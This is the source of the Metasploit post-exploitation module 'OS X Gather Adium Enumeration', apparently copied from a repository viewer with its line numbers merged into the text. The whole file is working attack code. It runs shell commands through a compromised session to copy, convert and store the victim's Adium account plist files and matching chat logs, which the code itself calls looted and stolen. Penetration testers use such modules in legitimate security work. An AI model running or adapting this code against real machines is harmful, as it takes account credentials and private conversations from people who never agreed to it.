Path: blob/master/modules/post/osx/gather/enum_adium.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Gather Adium Enumeration',14'Description' => %q{15This module will collect Adium's account plist files and chat logs from the16victim's machine. There are three different actions you may choose: ACCOUNTS,17CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex18'PATTERN' option in order to look for certain log names (which consists of a19contact's name, and a timestamp). The current 'PATTERN' option is configured to20look for any log created on February 2012 as an example. To loot both account21plists and chat logs, simply set the action to 'ALL'.22},23'License' => MSF_LICENSE,24'Author' => [ 'sinn3r'],25'Platform' => [ 'osx' ],26'SessionTypes' => [ 'meterpreter', 'shell' ],27'Actions' => [28['ACCOUNTS', { 'Description' => 'Collect account-related plists' } ],29['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],30['ALL', { 'Description' => 'Collect both account plists and chat logs' }]31],32'DefaultAction' => 'ALL',33'Notes' => {34'Stability' => [CRASH_SAFE],35'SideEffects' => [ARTIFACTS_ON_DISK],36'Reliability' => []37}38)39)4041register_options(42[43OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '\(2012\-02\-.+\)\.xml$']),44]45)46end4748#49# Parse a plst file to XML format:50# https://web.archive.org/web/20141112034745/http://hints.macworld.com/article.php?story=2005043010512639251#52def plutil(filename)53exec("plutil -convert xml1 #{filename}")54exec("cat #{filename}")55end5657#58# Collect logs files.59# Enumerate all the xml files (logs), filter out the ones we want, and then60# save each in a hash.61#62def get_chatlogs(base)63base = "#{base}Logs/"6465#66# Find all the chat folders for all the victim's contacts and groups67#68print_status("#{@peer} - Gathering folders for chatlogs...")69targets = []70dir(base).each do |account|71dir("#{base}#{account}/").each do |contact|72# Use 'find' to enumerate all the xml files73base_path = "#{base}#{account}/#{contact}"74logs = exec("find #{base_path} -name *.xml").split("\n")75next if logs =~ /No such file or directory/7677# Filter out logs78filtered_logs = []79logs.each do |log|80next unless log =~ datastore['PATTERN']8182# For debugging purposes, we print all the matches83vprint_status("Match: #{log}")84filtered_logs << log85end8687targets << {88account: account,89contact: contact,90log_paths: filtered_logs91}92end93end9495#96# Save all the logs to a folder97#98logs = []99targets.each do |target|100log_size = target[:log_paths].length101contact = target[:contact]102account = target[:account]103104# Nothing was actually downloaded, skip this one105next if log_size == 0106107print_status("#{@peer} - Looting #{log_size} chats with #{contact} (#{account})")108target[:log_paths].each do |log|109log = "\"#{log}\""110data = exec("cat #{log}")111logs << {112account: account,113contact: contact,114data: data115}116# break117end118end119120return logs121end122123#124# Get AccountPrefs.plist, Accounts.plist, AccountPrefs.plist.125# Return: [ {:filename=> String, :data => String} ]126#127def get_account_info(base)128files = [ 'Account\\ Status.plist', 'Accounts.plist', 'AccountPrefs.plist' ]129loot = []130131files.each do |file|132#133# Make a copy of the file we want to convert and steal134#135fpath = "#{base}#{file}"136rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"137tmp = exec("cp #{fpath} #{rand_name}")138139if tmp =~ /No such file or directory/140print_error("#{@peer} - Not found: #{fpath}")141next142end143144#145# Convert plist to xml146#147print_status("#{@peer} - Parsing: #{file}")148xml = plutil(rand_name)149150#151# Save data, and then clean up152#153if xml.empty?154print_error("#{@peer} - Unable to parse: #{file}")155else156loot << { filename: file, data: xml }157exec("rm #{rand_name}")158end159end160161return loot162end163164#165# Do a store_root on all the data collected.166#167def save(type, data)168case type169when :account170data.each do |e|171e[:filename] = e[:filename].gsub(/\\ /, '_')172p = store_loot(173'adium.account.config',174'text/plain',175session,176e[:data],177e[:filename]178)179180print_good("#{@peer} - #{e[:filename]} stored as: #{p}")181end182183when :chatlogs184data.each do |e|185account = e[:account]186contact = e[:contact]187data = e[:data]188189p = store_loot(190'adium.chatlog',191'text/plain',192session,193data,194contact195)196197print_good("#{@peer} - #{contact}'s (#{account}) chat log stored as: #{p}")198end199200end201end202203#204# Get current username205#206def whoami207exec('/usr/bin/whoami')208end209210#211# Return an array or directory names212#213def dir(path)214subdirs = exec("ls -l #{path}")215return [] if subdirs =~ /No such file or directory/216217items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten218return items219end220221#222# This is just a wrapper for cmd_exec(), except it chomp() the output,223# and retry under certain conditions.224#225def exec(cmd)226cmd_exec(cmd).chomp227rescue ::Timeout::Error => e228vprint_error("#{@peer} - #{e.message} - retrying...")229retry230rescue EOFError => e231vprint_error("#{@peer} - #{e.message} - retrying...")232retry233end234235#236# We're not sure the exact name of the folder becuase it contains a version number.237# We'll just check every folder name, and whichever contains the word "Adium",238# that's the one we'll use.239#240def locate_adium(base)241dir(base).each do |folder|242m = folder.match(/(Adium \d+\.\d+)$/)243if m244m = m[0].gsub(/\x20/, '\\\\ ') + '/'245return "#{base}#{m}"246end247end248249return nil250end251252def run253#254# Make sure there's an action name before we do anything255#256if action.nil?257print_error('Please specify an action')258return259end260261@peer = "#{session.session_host}:#{session.session_port}"262user = whoami263264#265# Check adium. And then set the default profile path266# Example: /Users/[username]/Library/Application Support/Adium 2.0/267#268base = "/Users/#{user}/Library/Application\\ Support/"269adium_path = locate_adium(base)270unless adium_path271print_error("#{@peer} - Unable to find adium, will not continue")272return273end274275print_status("#{@peer} - Found adium: #{adium_path}")276adium_path += 'Users/Default/'277278#279# Now that adium is found, let's download some stuff280#281account_data = get_account_info(adium_path) if action.name =~ /ALL|ACCOUNTS/i282chatlogs = get_chatlogs(adium_path) if action.name =~ /ALL|CHATS/i283284#285# Store what we found on disk286#287save(:account, account_data) if !account_data.nil? && !account_data.empty?288save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?289end290end291292293